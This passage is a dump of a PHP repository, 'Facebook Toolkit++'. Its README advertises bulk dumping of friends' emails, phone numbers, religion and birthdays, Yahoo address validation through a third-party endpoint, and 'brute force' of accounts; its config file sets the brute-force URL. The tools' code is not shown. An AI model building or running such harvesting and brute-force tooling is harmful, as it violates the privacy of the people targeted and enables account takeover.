├── .gitattributes
├── .github
├── FUNDING.yml
└── ISSUE_TEMPLATE
│ ├── bug_report.md
│ └── feature_request.md
├── .gitignore
├── CODE_OF_CONDUCT.md
├── Funding.yml
├── LICENSE
├── README.md
├── composer.json
├── composer.lock
├── config
└── token.txt
├── images
├── add_access_token.png
└── version
│ ├── 1.3.png
│ ├── 1.4.png
│ ├── 1.5.png
│ └── 1.6.png
├── modules
├── color.php
├── config.php
├── menu.php
├── progress.php
└── random.php
├── result
├── filter
│ └── result_email.txt
├── result_id.txt
└── validation
│ └── yahoo.txt
├── run.php
├── tmp
└── id.log
└── tools
├── clean
└── clean.php
├── getAbout
└── getAbout.php
├── getAccessToken
└── getAccessToken.php
├── getBio
└── getBio.php
├── getBirthday
└── getBirthday.php
├── getBruteID
└── getBruteID.php
├── getBruteIDMemberGroup
└── getBruteIDMemberGroup.php
├── getConfirmationFriends
└── getConfirmationFriends.php
├── getConfirmationFriendsFemale
└── getConfirmationFriendsFemale.php
├── getConfirmationFriendsMale
└── getConfirmationFriendsMale.php
├── getDataFriends
└── getDataFriends.php
├── getDeletePost
└── getDeletePost.php
├── getEmail
└── getEmail.php
├── getGender
└── getGender.php
├── getID
└── getID.php
├── getIDMemberGroup
└── getIDMemberGroup.php
├── getInformation
└── getInformation.php
├── getLink
└── getLink.php
├── getLinkMemberGroup
└── getLinkMemberGroup.php
├── getLocation
└── getLocation.php
├── getName
└── getName.php
├── getPhone
└── getPhone.php
├── getRelationship
└── getRelationship.php
├── getReligion
└── getReligion.php
├── getUnfriend
└── getUnfriend.php
├── getUsername
└── getUsername.php
├── getUsernameMemberGroup
└── getUsernameMemberGroup.php
├── getYahooFilter
└── getYahooFilter.php
└── getYahooMailValidation
└── getYahooMailValidation.php
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | custom : paypal.me/microlabs
2 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/bug_report.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Bug report
3 | about: Create a report to help us improve
4 | title: ''
5 | labels: ''
6 | assignees: ''
7 |
8 | ---
9 |
10 | **Describe the bug**
11 | A clear and concise description of what the bug is.
12 |
13 | **To Reproduce**
14 | Steps to reproduce the behavior:
15 | 1. Go to '...'
16 | 2. Click on '....'
17 | 3. Scroll down to '....'
18 | 4. See error
19 |
20 | **Expected behavior**
21 | A clear and concise description of what you expected to happen.
22 |
23 | **Screenshots**
24 | If applicable, add screenshots to help explain your problem.
25 |
26 | **Desktop (please complete the following information):**
27 | - OS: [e.g. iOS]
28 | - Browser [e.g. chrome, safari]
29 | - Version [e.g. 22]
30 |
31 | **Smartphone (please complete the following information):**
32 | - Device: [e.g. iPhone6]
33 | - OS: [e.g. iOS8.1]
34 | - Browser [e.g. stock browser, safari]
35 | - Version [e.g. 22]
36 |
37 | **Additional context**
38 | Add any other context about the problem here.
39 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/feature_request.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Feature request
3 | about: Suggest an idea for this project
4 | title: ''
5 | labels: ''
6 | assignees: ''
7 |
8 | ---
9 |
10 | **Is your feature request related to a problem? Please describe.**
11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
12 |
13 | **Describe the solution you'd like**
14 | A clear and concise description of what you want to happen.
15 |
16 | **Describe alternatives you've considered**
17 | A clear and concise description of any alternative solutions or features you've considered.
18 |
19 | **Additional context**
20 | Add any other context or screenshots about the feature request here.
21 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | composer.phar
2 | /vendor/
3 |
4 | # Commit your application's lock file https://getcomposer.org/doc/01-basic-usage.md#commit-your-composer-lock-file-to-version-control
5 | # You may choose to ignore a library lock file http://getcomposer.org/doc/02-libraries.md#lock-file
6 | # composer.lock
7 |
--------------------------------------------------------------------------------
/CODE_OF_CONDUCT.md:
--------------------------------------------------------------------------------
1 | # Contributor Covenant Code of Conduct
2 |
3 | ## Our Pledge
4 |
5 | We as members, contributors, and leaders pledge to make participation in our
6 | community a harassment-free experience for everyone, regardless of age, body
7 | size, visible or invisible disability, ethnicity, sex characteristics, gender
8 | identity and expression, level of experience, education, socio-economic status,
9 | nationality, personal appearance, race, religion, or sexual identity
10 | and orientation.
11 |
12 | We pledge to act and interact in ways that contribute to an open, welcoming,
13 | diverse, inclusive, and healthy community.
14 |
15 | ## Our Standards
16 |
17 | Examples of behavior that contributes to a positive environment for our
18 | community include:
19 |
20 | * Demonstrating empathy and kindness toward other people
21 | * Being respectful of differing opinions, viewpoints, and experiences
22 | * Giving and gracefully accepting constructive feedback
23 | * Accepting responsibility and apologizing to those affected by our mistakes,
24 | and learning from the experience
25 | * Focusing on what is best not just for us as individuals, but for the
26 | overall community
27 |
28 | Examples of unacceptable behavior include:
29 |
30 | * The use of sexualized language or imagery, and sexual attention or
31 | advances of any kind
32 | * Trolling, insulting or derogatory comments, and personal or political attacks
33 | * Public or private harassment
34 | * Publishing others' private information, such as a physical or email
35 | address, without their explicit permission
36 | * Other conduct which could reasonably be considered inappropriate in a
37 | professional setting
38 |
39 | ## Enforcement Responsibilities
40 |
41 | Community leaders are responsible for clarifying and enforcing our standards of
42 | acceptable behavior and will take appropriate and fair corrective action in
43 | response to any behavior that they deem inappropriate, threatening, offensive,
44 | or harmful.
45 |
46 | Community leaders have the right and responsibility to remove, edit, or reject
47 | comments, commits, code, wiki edits, issues, and other contributions that are
48 | not aligned to this Code of Conduct, and will communicate reasons for moderation
49 | decisions when appropriate.
50 |
51 | ## Scope
52 |
53 | This Code of Conduct applies within all community spaces, and also applies when
54 | an individual is officially representing the community in public spaces.
55 | Examples of representing our community include using an official e-mail address,
56 | posting via an official social media account, or acting as an appointed
57 | representative at an online or offline event.
58 |
59 | ## Enforcement
60 |
61 | Instances of abusive, harassing, or otherwise unacceptable behavior may be
62 | reported to the community leaders responsible for enforcement at
63 | hi@warifp.co.
64 | All complaints will be reviewed and investigated promptly and fairly.
65 |
66 | All community leaders are obligated to respect the privacy and security of the
67 | reporter of any incident.
68 |
69 | ## Enforcement Guidelines
70 |
71 | Community leaders will follow these Community Impact Guidelines in determining
72 | the consequences for any action they deem in violation of this Code of Conduct:
73 |
74 | ### 1. Correction
75 |
76 | **Community Impact**: Use of inappropriate language or other behavior deemed
77 | unprofessional or unwelcome in the community.
78 |
79 | **Consequence**: A private, written warning from community leaders, providing
80 | clarity around the nature of the violation and an explanation of why the
81 | behavior was inappropriate. A public apology may be requested.
82 |
83 | ### 2. Warning
84 |
85 | **Community Impact**: A violation through a single incident or series
86 | of actions.
87 |
88 | **Consequence**: A warning with consequences for continued behavior. No
89 | interaction with the people involved, including unsolicited interaction with
90 | those enforcing the Code of Conduct, for a specified period of time. This
91 | includes avoiding interactions in community spaces as well as external channels
92 | like social media. Violating these terms may lead to a temporary or
93 | permanent ban.
94 |
95 | ### 3. Temporary Ban
96 |
97 | **Community Impact**: A serious violation of community standards, including
98 | sustained inappropriate behavior.
99 |
100 | **Consequence**: A temporary ban from any sort of interaction or public
101 | communication with the community for a specified period of time. No public or
102 | private interaction with the people involved, including unsolicited interaction
103 | with those enforcing the Code of Conduct, is allowed during this period.
104 | Violating these terms may lead to a permanent ban.
105 |
106 | ### 4. Permanent Ban
107 |
108 | **Community Impact**: Demonstrating a pattern of violation of community
109 | standards, including sustained inappropriate behavior, harassment of an
110 | individual, or aggression toward or disparagement of classes of individuals.
111 |
112 | **Consequence**: A permanent ban from any sort of public interaction within
113 | the community.
114 |
115 | ## Attribution
116 |
117 | This Code of Conduct is adapted from the [Contributor Covenant][homepage],
118 | version 2.0, available at
119 | https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
120 |
121 | Community Impact Guidelines were inspired by [Mozilla's code of conduct
122 | enforcement ladder](https://github.com/mozilla/diversity).
123 |
124 | [homepage]: https://www.contributor-covenant.org
125 |
126 | For answers to common questions about this code of conduct, see the FAQ at
127 | https://www.contributor-covenant.org/faq. Translations are available at
128 | https://www.contributor-covenant.org/translations.
129 |
--------------------------------------------------------------------------------
/Funding.yml:
--------------------------------------------------------------------------------
1 | github: warifp
2 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2019 Wahyu Purnomo
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | FACEBOOK TOOLKIT
3 |
4 |
5 | a tool to get Facebook data, and some Facebook bots, and extra tools found on Facebook Toolkit ++.
6 | Graph API Facebook.
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 | Made with ❤️ by Wahyu Arif Purnomo
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
UPDATE 1.4
32 |
33 |
34 |
35 |
36 |
UPDATE 1.5
37 |
38 |
39 |
40 |
41 |
UPDATE 1.6
42 |
43 |
44 |
45 | ## Features in tools
46 |
47 | | Name | Status | Information |
48 | | ---------------------------------- | ------------------ | -------------------------------------------------- |
49 | | Get Access Token | :white_check_mark: | get access token your facebook account |
50 | | Account Information | :white_check_mark: | view your account information |
51 | | Dump ID | :white_check_mark: | retrieve all your friend's ID data |
52 | | Dump Email | :white_check_mark: | retrieve all your friend's Email data |
53 | | Dump Name | :white_check_mark: | retrieve all your friend's Name data |
54 | | Dump Birthday | :white_check_mark: | retrieve all your friend's Birthday data |
55 | | Dump Gender | :white_check_mark: | retrieve all your friend's Gender data |
56 | | Dump Location | :white_check_mark: | retrieve all your friend's Location data |
57 | | Dump URL Profile | :white_check_mark: | retrieve all your friend's url profile data |
58 | | Dump Mobile Number | :white_check_mark: | retrieve all your friend's mobile number data |
59 | | Dump Religion | :white_check_mark: | retrieve all your friend's religion data |
60 | | Dump Username | :white_check_mark: | retrieve all your friend's username data |
61 | | Dump Bio | :white_check_mark: | retrieve all your friend's bio data |
62 | | Dump About | :white_check_mark: | retrieve all your friend's about data |
63 | | Filter Yahoo Mail | :white_check_mark: | separate all Yahoo e-mails [yahoo.com] |
64 | | Yahoo Mail Validation | :white_check_mark: | validate all Yahoo e-mails |
65 | | Clean Result | :white_check_mark: | clean the result folder |
66 | | Delete ALL Post | :white_check_mark: | clean all your posts |
67 | | Unfriend ALL | :white_check_mark: | clean all your friends |
68 | | Confirmation ALL | :white_check_mark: | confirm all friend requests |
69 | | Confirmation ALL [Male] | :white_check_mark: | confirm all friend requests based on male sex |
70 | | Confirmation ALL [Female] | :white_check_mark: | onfirm all friend requests based on female sex |
71 | | View Data | :white_check_mark: | see your friends data based on your username or ID |
72 | | Dump ID Member Group | :white_check_mark: | retrieve all ID member on group database |
73 | | Dump Username Profile Member Group | :white_check_mark: | retrieve all username member on group database |
74 | | Dump URL Profile Member Group | :white_check_mark: | retrieve all url profile member on group database |
75 | | Brute Force ID | :white_check_mark: | brute force your friends by ID |
76 | | Brute Force ID Member Group | :white_check_mark: | brute force Member Group by ID |
77 |
78 |
79 | ## Version
80 |
81 | Version 1.0 :
82 |
83 | https://www.facebook.com/warifp/videos/2340053176234744/
84 |
85 | Changelog :
86 |
87 | - Add tools
88 |
89 | Version 1.2 :
90 |
91 | https://www.facebook.com/warifp/videos/2339461559627239/
92 |
93 | Changelog :
94 |
95 | - Add tools++
96 |
97 | Version 1.3 :
98 |
99 | https://www.facebook.com/photo.php?fbid=2340608509512544
100 |
101 | Changelog :
102 |
103 | - re-build with Climate
104 | - compress system
105 | - add engine file
106 | - add color file
107 | - add random file
108 | - change folder result
109 | - add folder and file config
110 |
111 | Version 1.4 :
112 |
113 | https://www.facebook.com/warifp/videos/2340053176234744/
114 |
115 | Changelog :
116 |
117 | - add get ID Member Group
118 | - add get Username Member Group
119 | - add get URL Profile Member Group
120 | - add arguments menu, version, last update.
121 | - add auto check requirements
122 | - add auto check validation access token
123 | - add story
124 | - add comment step
125 | - compress function
126 | - display improvements
127 | - and other improvements
128 |
129 | Version 1.5 :
130 |
131 | https://www.facebook.com/photo.php?fbid=2345150569058338
132 |
133 | Changelog :
134 |
135 | - fix feature
136 | - fix library
137 | - and other.
138 |
139 |
140 | ## Installation
141 |
142 | ### Windows or Linux
143 | You can download the latest composer in [here](https://getcomposer.org/download/).
144 |
145 | git clone https://github.com/warifp/FacebookToolkit
146 |
147 | composer
148 |
149 | ### Termux
150 |
151 | pkg install php
152 |
153 | pkg install curl
154 |
155 | pkg update
156 |
157 | git clone https://github.com/warifp/FacebookToolkit
158 |
159 |
160 | ## Requirements for using this tool
161 |
162 | We need several requirements to use this tool to run smoothly.
163 |
164 | ##### Linux
165 |
166 | 
167 | 
168 |
169 | ##### Windows
170 |
171 | 
172 |
173 | ## Usage
174 |
175 | Enough to execute the command :
176 |
177 | php run.php
178 |
179 | Cek list menu tools, use the command :
180 |
181 | php run.php -m
182 |
183 | Cek author, use the command :
184 |
185 | php run.php -a
186 |
187 | Cek version, use the command :
188 |
189 | php run.php -v
190 |
191 | Cek update, use the command :
192 |
193 | php run.php -u
194 |
195 | and help, use the command :
196 |
197 | php run.php -h
198 |
199 | and don't forget to ask at [issue page](https://github.com/warifp/FacebookToolkit/issues)
200 | If you have additional information, you can make it on the [issue page](https://github.com/warifp/FacebookToolkit/issues).
201 |
202 | ## Thanks
203 |
204 | Thank you for all.
205 |
206 | 1. CLIMate Library : [CLIMate](https://climate.thephpleague.com/).
207 | 2. PHP CLI Color Class : [PHPColor](https://www.if-not-true-then-false.com/2010/php-class-for-coloring-php-command-line-cli-scripts-output-php-output-colorizing-using-bash-shell-colors/).
208 | 3. ASCII Art Generator : [TAAG](http://patorjk.com/software/taag).
209 |
210 | ## Donation
211 |
212 | If you want to buy my coffee, you can send payments Paypal.
213 |
214 | [](https://paypal.me/microlabs)
215 |
216 | ## Disclaimer
217 |
218 | This is an open source for everyone, you may redistribute, modify, use patents and use privately without any obligation to redistribute. but it should be noted to include the source code of the library that was modified (not the source code of the entire program), include the license, include the original copyright of the author (warifp), and include any changes made (if modified). Users do not have the right to sue the creator when there is damage to the software or even demand if there is a problem caused by the makers of this tool. because every risk is caused by the user risk itself.
219 |
--------------------------------------------------------------------------------
/composer.json:
--------------------------------------------------------------------------------
1 | {
2 | "require": {
3 | "league/climate": "^3.5",
4 | "paquettg/php-html-parser": "^2.0"
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/composer.lock:
--------------------------------------------------------------------------------
1 | {
2 | "_readme": [
3 | "This file locks the dependencies of your project to a known state",
4 | "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
5 | "This file is @generated automatically"
6 | ],
7 | "content-hash": "84f6ffe6dd84a0e8f414046f79eded7a",
8 | "packages": [
9 | {
10 | "name": "league/climate",
11 | "version": "3.6.0",
12 | "source": {
13 | "type": "git",
14 | "url": "https://github.com/thephpleague/climate.git",
15 | "reference": "61eecbde7645528a855a3afef65c5354093b27b2"
16 | },
17 | "dist": {
18 | "type": "zip",
19 | "url": "https://api.github.com/repos/thephpleague/climate/zipball/61eecbde7645528a855a3afef65c5354093b27b2",
20 | "reference": "61eecbde7645528a855a3afef65c5354093b27b2",
21 | "shasum": ""
22 | },
23 | "require": {
24 | "php": "^7.2",
25 | "psr/log": "^1.0",
26 | "seld/cli-prompt": "^1.0"
27 | },
28 | "require-dev": {
29 | "mikey179/vfsstream": "^1.4",
30 | "mockery/mockery": "^1.0",
31 | "phpunit/phpunit": "^5.7.16"
32 | },
33 | "suggest": {
34 | "ext-mbstring": "If ext-mbstring is not available you MUST install symfony/polyfill-mbstring"
35 | },
36 | "type": "library",
37 | "autoload": {
38 | "psr-4": {
39 | "League\\CLImate\\": "src/"
40 | }
41 | },
42 | "notification-url": "https://packagist.org/downloads/",
43 | "license": [
44 | "MIT"
45 | ],
46 | "authors": [
47 | {
48 | "name": "Joe Tannenbaum",
49 | "email": "hey@joe.codes",
50 | "homepage": "http://joe.codes/",
51 | "role": "Developer"
52 | },
53 | {
54 | "name": "Craig Duncan",
55 | "email": "git@duncanc.co.uk",
56 | "homepage": "https://github.com/duncan3dc",
57 | "role": "Developer"
58 | }
59 | ],
60 | "description": "PHP's best friend for the terminal. CLImate allows you to easily output colored text, special formats, and more.",
61 | "keywords": [
62 | "cli",
63 | "colors",
64 | "command",
65 | "php",
66 | "terminal"
67 | ],
68 | "support": {
69 | "issues": "https://github.com/thephpleague/climate/issues",
70 | "source": "https://github.com/thephpleague/climate/tree/3.6.0"
71 | },
72 | "time": "2020-10-04T16:02:59+00:00"
73 | },
74 | {
75 | "name": "paquettg/php-html-parser",
76 | "version": "2.2.1",
77 | "source": {
78 | "type": "git",
79 | "url": "https://github.com/paquettg/php-html-parser.git",
80 | "reference": "668c770fc5724ea3f15b8791435f054835be8d5e"
81 | },
82 | "dist": {
83 | "type": "zip",
84 | "url": "https://api.github.com/repos/paquettg/php-html-parser/zipball/668c770fc5724ea3f15b8791435f054835be8d5e",
85 | "reference": "668c770fc5724ea3f15b8791435f054835be8d5e",
86 | "shasum": ""
87 | },
88 | "require": {
89 | "ext-curl": "*",
90 | "ext-mbstring": "*",
91 | "ext-zlib": "*",
92 | "paquettg/string-encode": "~1.0.0",
93 | "php": ">=7.1"
94 | },
95 | "require-dev": {
96 | "infection/infection": "^0.13.4",
97 | "mockery/mockery": "^1.2",
98 | "phan/phan": "^2.4",
99 | "php-coveralls/php-coveralls": "^2.1",
100 | "phpunit/phpunit": "^7.5.1"
101 | },
102 | "type": "library",
103 | "autoload": {
104 | "psr-4": {
105 | "PHPHtmlParser\\": "src/PHPHtmlParser"
106 | }
107 | },
108 | "notification-url": "https://packagist.org/downloads/",
109 | "license": [
110 | "MIT"
111 | ],
112 | "authors": [
113 | {
114 | "name": "Gilles Paquette",
115 | "email": "paquettg@gmail.com",
116 | "homepage": "http://gillespaquette.ca"
117 | }
118 | ],
119 | "description": "An HTML DOM parser. It allows you to manipulate HTML. Find tags on an HTML page with selectors just like jQuery.",
120 | "homepage": "https://github.com/paquettg/php-html-parser",
121 | "keywords": [
122 | "dom",
123 | "html",
124 | "parser"
125 | ],
126 | "support": {
127 | "issues": "https://github.com/paquettg/php-html-parser/issues",
128 | "source": "https://github.com/paquettg/php-html-parser/tree/2.2.1"
129 | },
130 | "time": "2020-01-20T12:59:15+00:00"
131 | },
132 | {
133 | "name": "paquettg/string-encode",
134 | "version": "1.0.1",
135 | "source": {
136 | "type": "git",
137 | "url": "https://github.com/paquettg/string-encoder.git",
138 | "reference": "a8708e9fac9d5ddfc8fc2aac6004e2cd05d80fee"
139 | },
140 | "dist": {
141 | "type": "zip",
142 | "url": "https://api.github.com/repos/paquettg/string-encoder/zipball/a8708e9fac9d5ddfc8fc2aac6004e2cd05d80fee",
143 | "reference": "a8708e9fac9d5ddfc8fc2aac6004e2cd05d80fee",
144 | "shasum": ""
145 | },
146 | "require": {
147 | "php": ">=7.1"
148 | },
149 | "require-dev": {
150 | "phpunit/phpunit": "^7.5.1"
151 | },
152 | "type": "library",
153 | "autoload": {
154 | "psr-0": {
155 | "stringEncode": "src/"
156 | }
157 | },
158 | "notification-url": "https://packagist.org/downloads/",
159 | "license": [
160 | "MIT"
161 | ],
162 | "authors": [
163 | {
164 | "name": "Gilles Paquette",
165 | "email": "paquettg@gmail.com",
166 | "homepage": "http://gillespaquette.ca"
167 | }
168 | ],
169 | "description": "Facilitating the process of altering string encoding in PHP.",
170 | "homepage": "https://github.com/paquettg/string-encoder",
171 | "keywords": [
172 | "charset",
173 | "encoding",
174 | "string"
175 | ],
176 | "support": {
177 | "issues": "https://github.com/paquettg/string-encoder/issues",
178 | "source": "https://github.com/paquettg/string-encoder/tree/1.0.1"
179 | },
180 | "time": "2018-12-21T02:25:09+00:00"
181 | },
182 | {
183 | "name": "psr/log",
184 | "version": "1.1.3",
185 | "source": {
186 | "type": "git",
187 | "url": "https://github.com/php-fig/log.git",
188 | "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc"
189 | },
190 | "dist": {
191 | "type": "zip",
192 | "url": "https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc",
193 | "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc",
194 | "shasum": ""
195 | },
196 | "require": {
197 | "php": ">=5.3.0"
198 | },
199 | "type": "library",
200 | "extra": {
201 | "branch-alias": {
202 | "dev-master": "1.1.x-dev"
203 | }
204 | },
205 | "autoload": {
206 | "psr-4": {
207 | "Psr\\Log\\": "Psr/Log/"
208 | }
209 | },
210 | "notification-url": "https://packagist.org/downloads/",
211 | "license": [
212 | "MIT"
213 | ],
214 | "authors": [
215 | {
216 | "name": "PHP-FIG",
217 | "homepage": "http://www.php-fig.org/"
218 | }
219 | ],
220 | "description": "Common interface for logging libraries",
221 | "homepage": "https://github.com/php-fig/log",
222 | "keywords": [
223 | "log",
224 | "psr",
225 | "psr-3"
226 | ],
227 | "support": {
228 | "source": "https://github.com/php-fig/log/tree/1.1.3"
229 | },
230 | "time": "2020-03-23T09:12:05+00:00"
231 | },
232 | {
233 | "name": "seld/cli-prompt",
234 | "version": "1.0.4",
235 | "source": {
236 | "type": "git",
237 | "url": "https://github.com/Seldaek/cli-prompt.git",
238 | "reference": "b8dfcf02094b8c03b40322c229493bb2884423c5"
239 | },
240 | "dist": {
241 | "type": "zip",
242 | "url": "https://api.github.com/repos/Seldaek/cli-prompt/zipball/b8dfcf02094b8c03b40322c229493bb2884423c5",
243 | "reference": "b8dfcf02094b8c03b40322c229493bb2884423c5",
244 | "shasum": ""
245 | },
246 | "require": {
247 | "php": ">=5.3"
248 | },
249 | "require-dev": {
250 | "phpstan/phpstan": "^0.12.63"
251 | },
252 | "type": "library",
253 | "extra": {
254 | "branch-alias": {
255 | "dev-master": "1.x-dev"
256 | }
257 | },
258 | "autoload": {
259 | "psr-4": {
260 | "Seld\\CliPrompt\\": "src/"
261 | }
262 | },
263 | "notification-url": "https://packagist.org/downloads/",
264 | "license": [
265 | "MIT"
266 | ],
267 | "authors": [
268 | {
269 | "name": "Jordi Boggiano",
270 | "email": "j.boggiano@seld.be"
271 | }
272 | ],
273 | "description": "Allows you to prompt for user input on the command line, and optionally hide the characters they type",
274 | "keywords": [
275 | "cli",
276 | "console",
277 | "hidden",
278 | "input",
279 | "prompt"
280 | ],
281 | "support": {
282 | "issues": "https://github.com/Seldaek/cli-prompt/issues",
283 | "source": "https://github.com/Seldaek/cli-prompt/tree/1.0.4"
284 | },
285 | "time": "2020-12-15T21:32:01+00:00"
286 | }
287 | ],
288 | "packages-dev": [],
289 | "aliases": [],
290 | "minimum-stability": "stable",
291 | "stability-flags": [],
292 | "prefer-stable": false,
293 | "prefer-lowest": false,
294 | "platform": [],
295 | "platform-dev": [],
296 | "plugin-api-version": "2.0.0"
297 | }
298 |
--------------------------------------------------------------------------------
/config/token.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/warifp/FacebookToolkit/9a7ae1219c1287691bf45cc4db2acb265997dcd6/config/token.txt
--------------------------------------------------------------------------------
/images/add_access_token.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/warifp/FacebookToolkit/9a7ae1219c1287691bf45cc4db2acb265997dcd6/images/add_access_token.png
--------------------------------------------------------------------------------
/images/version/1.3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/warifp/FacebookToolkit/9a7ae1219c1287691bf45cc4db2acb265997dcd6/images/version/1.3.png
--------------------------------------------------------------------------------
/images/version/1.4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/warifp/FacebookToolkit/9a7ae1219c1287691bf45cc4db2acb265997dcd6/images/version/1.4.png
--------------------------------------------------------------------------------
/images/version/1.5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/warifp/FacebookToolkit/9a7ae1219c1287691bf45cc4db2acb265997dcd6/images/version/1.5.png
--------------------------------------------------------------------------------
/images/version/1.6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/warifp/FacebookToolkit/9a7ae1219c1287691bf45cc4db2acb265997dcd6/images/version/1.6.png
--------------------------------------------------------------------------------
/modules/color.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | class Colors
15 | {
16 | private $foreground_colors = array();
17 | private $background_colors = array();
18 |
19 | public function __construct()
20 | {
21 | // Set up shell colors
22 | $this->foreground_colors['black'] = '0;30';
23 | $this->foreground_colors['dark_gray'] = '1;30';
24 | $this->foreground_colors['blue'] = '0;34';
25 | $this->foreground_colors['light_blue'] = '1;34';
26 | $this->foreground_colors['green'] = '0;32';
27 | $this->foreground_colors['light_green'] = '1;32';
28 | $this->foreground_colors['cyan'] = '0;36';
29 | $this->foreground_colors['light_cyan'] = '1;36';
30 | $this->foreground_colors['red'] = '0;31';
31 | $this->foreground_colors['light_red'] = '1;31';
32 | $this->foreground_colors['purple'] = '0;35';
33 | $this->foreground_colors['light_purple'] = '1;35';
34 | $this->foreground_colors['brown'] = '0;33';
35 | $this->foreground_colors['yellow'] = '1;33';
36 | $this->foreground_colors['light_gray'] = '0;37';
37 | $this->foreground_colors['white'] = '1;37';
38 |
39 | $this->background_colors['black'] = '40';
40 | $this->background_colors['red'] = '41';
41 | $this->background_colors['green'] = '42';
42 | $this->background_colors['yellow'] = '43';
43 | $this->background_colors['blue'] = '44';
44 | $this->background_colors['magenta'] = '45';
45 | $this->background_colors['cyan'] = '46';
46 | $this->background_colors['light_gray'] = '47';
47 | }
48 |
49 | // Returns colored string
50 | public function getColoredString($string, $foreground_color = null, $background_color = null)
51 | {
52 | $colored_string = "";
53 |
54 | // Check if given foreground color found
55 | if (isset($this->foreground_colors[$foreground_color])) {
56 | $colored_string .= "\033[" . $this->foreground_colors[$foreground_color] . "m";
57 | }
58 | // Check if given background color found
59 | if (isset($this->background_colors[$background_color])) {
60 | $colored_string .= "\033[" . $this->background_colors[$background_color] . "m";
61 | }
62 |
63 | // Add string and end coloring
64 | $colored_string .= $string . "\033[0m";
65 |
66 | return $colored_string;
67 | }
68 |
69 | // Returns all foreground color names
70 | public function getForegroundColors()
71 | {
72 | return array_keys($this->foreground_colors);
73 | }
74 |
75 | // Returns all background color names
76 | public function getBackgroundColors()
77 | {
78 | return array_keys($this->background_colors);
79 | }
80 | }
81 | $colors = new Colors();
82 | $warifp = $colors->getForegroundColors();
83 |
--------------------------------------------------------------------------------
/modules/config.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | $version = "1.7";
15 | $build = "08 June 2019";
16 | $name = "Facebook Toolkit++";
17 | $author = "Wahyu Arif Purnomo";
18 | $update = "02 November 2019 17.23";
19 | $url_based = "https://graph.facebook.com";
20 | $url_token = "config/token.txt";
21 | $cek_connection = "graph.facebook.com";
22 | $progress;
23 | $url_valid = "http://widhitools.000webhostapp.com/api/yahoo.php";
24 | $url_brute = "https://m.facebook.com";
25 | $token = file_get_contents($url_token);
26 | $banner = "
27 | _______ _______ _ _ ||
28 | | || | _| |_ _| |_ || Author : $author
29 | | ___||_ _||_ _| |_ _| || Version : $version
30 | | |___ | | |_| |_| || Build : $build
31 | | ___| | | || Update : $update
32 | | | | | Facebook Toolkit++ || Name : $name
33 | |___| |___| @2019 ||
34 |
35 | [!] a tool to get Facebook data, and some Facebook bots, and extra tools found on Facebook Toolkit++
36 |
37 | ";
38 |
39 | $data_socialmedia = [
40 | [
41 | "Facebook", "https://www.facebook.com/warifp",
42 | ],
43 | [
44 | "Instagram", "https://www.instagram.com/warifp",
45 | ],
46 | [
47 | "Twitter", "https://www.twitter.com/wahyuarifp",
48 | ],
49 | [
50 | "Linkedin", "https://id.linkedin.com/in/warifp",
51 | ],
52 | [
53 | "Github", "https://www.github.com/warifp",
54 | ],
55 | ];
56 |
57 | $climate->arguments->add(
58 | [
59 | "menu" => [
60 | "prefix" => "m",
61 | "longPrefix" => "menu",
62 | "description" => "tool menu",
63 | "noValue" => true,
64 | ],
65 | "version" => [
66 | "prefix" => "v",
67 | "longPrefix" => "version",
68 | "description" => "version",
69 | "noValue" => true,
70 | ],
71 | "author" => [
72 | "prefix" => "a",
73 | "longPrefix" => "author",
74 | "description" => "owner",
75 | "noValue" => true,
76 | ],
77 | "update" => [
